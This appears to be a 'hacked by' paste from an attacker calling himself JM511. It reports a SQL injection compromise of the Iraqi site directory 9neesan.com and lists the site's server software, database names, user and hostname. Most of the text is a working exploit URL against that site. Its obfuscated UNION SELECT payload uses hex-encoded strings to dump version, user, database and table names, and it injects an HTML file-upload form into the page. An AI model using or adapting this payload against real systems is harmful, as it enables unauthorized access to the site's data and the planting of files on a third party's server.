Iraqi Sites' Guide 9neesan.com >SQLi> Hacked by JM511

www.twitter.com/JM511
Hacked by JM511
#---------------------------------------------------#
دليل المواقع العراقية: Iraqi Sites' Guide
www.9neesan.com
#---------------------------------------------------#
web application technology: Apache, PHP 5.6.13
back-end DBMS: MySQL 5.0.12
 #---------------------------------------------------#
available databases [2]:
[*] 9neesan_com
[*] information_schema
#---------------------------------------------------#
banner:    '5.5.45-MariaDB-1~wheezy'
current user:    '9neesan_com@%'
current database:    '9neesan_com'
hostname:    'mysql397'
database management system users [1]:
[*] '9neesan_com'@'%'

#---------------------------------------------------#
SQL INJECTION >

http://www.9neesan.com/index.php?page=-1/*!uNion*/seLeCt+1,concat(0x3c623e3c666f6e7420636f6c6f723d626c61636b2073697a653d343e4c307633722053714c20316e6a33633731306e202d203c62743e20547769747465722e636f6d2f4a4d353131203c2f666f6e743e3c62723e3c62723e3c666f6e7420636f6c6f723d22464630303030222073697a653d343e4861636b6564206279204a4d3531313c2f666f6e743e3c62723e20203c7461626c65206267636f6c6f723d22234139413941392220626f726465723d2230223e3c74723e3c74643e203c666f6e7420636f6c6f723d2223303030303030223e2076657273696f6e28292e2e203c2f666f6e743e3c2f74643e3c74643e2d2d3e203c666f6e7420636f6c6f723d7265643e2020,version(),0x203c2f666f6e743e3c2f74643e3c2f74723e3c74723e3c74643e207573657228292e2e3c2f74643e3c74643e2d2d3e203c666f6e7420636f6c6f723d7265643e2020,user(),0xa203c2f666f6e743e3c2f74643e3c2f74723e3c74723e3c74643e646174616261736528292e2e203c2f74643e3c74643e2d2d3e203c666f6e7420636f6c6f723d7265643e2020,database(),0x3c2f6469763e3c2f74643e3c2f74723e3c2f7461626c653e3c62723e,0x3c7461626c65206267636f6c6f723d22234332453046462220626f726465723d2230223e3c74723e3c74643e20,0x3c666f6e7420636f6c6f723d2723464630303030273e44617461626173657320496e666f3a203c2f666f6e743e3c62723e,UNHEX(HEX(group_concat(table_schema,0x3c62723e20))),0x3c62723e20,0x3c666f6e7420636f6c6f723d2723464630303030273e5461626c657320496e666f3a203c2f666f6e743e3c62723e,UNHEX(HEX(group_concat(table_name,0x3c62723e20))),0x3c2f6469763e3c2f74643e3c2f74723e3c2f7461626c653e3c62723e,0x3c68746d6c3e3c686561643e3c7469746c653e3c2f7469746c653e3c2f686561643e3c626f64793e3c666f726d206d6574686f643d504f535420656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d22223e3c696e70757420747970653d74657874206e616d653d706174683e3c696e70757420747970653d2266696c6522206e616d653d2266696c6573223e3c696e70757420747970653d7375626d69742076616c75653d225570223e3c2f666f726d3e204a4d353131204861636b6572203a547769747465723e404a4d3531313c2f626f64793e3c2f68746d6c3e273b203f3e) from (information_schema.tables) where (table_schema!=0x696e666f726d6174696f6e5f736368656d61)--+-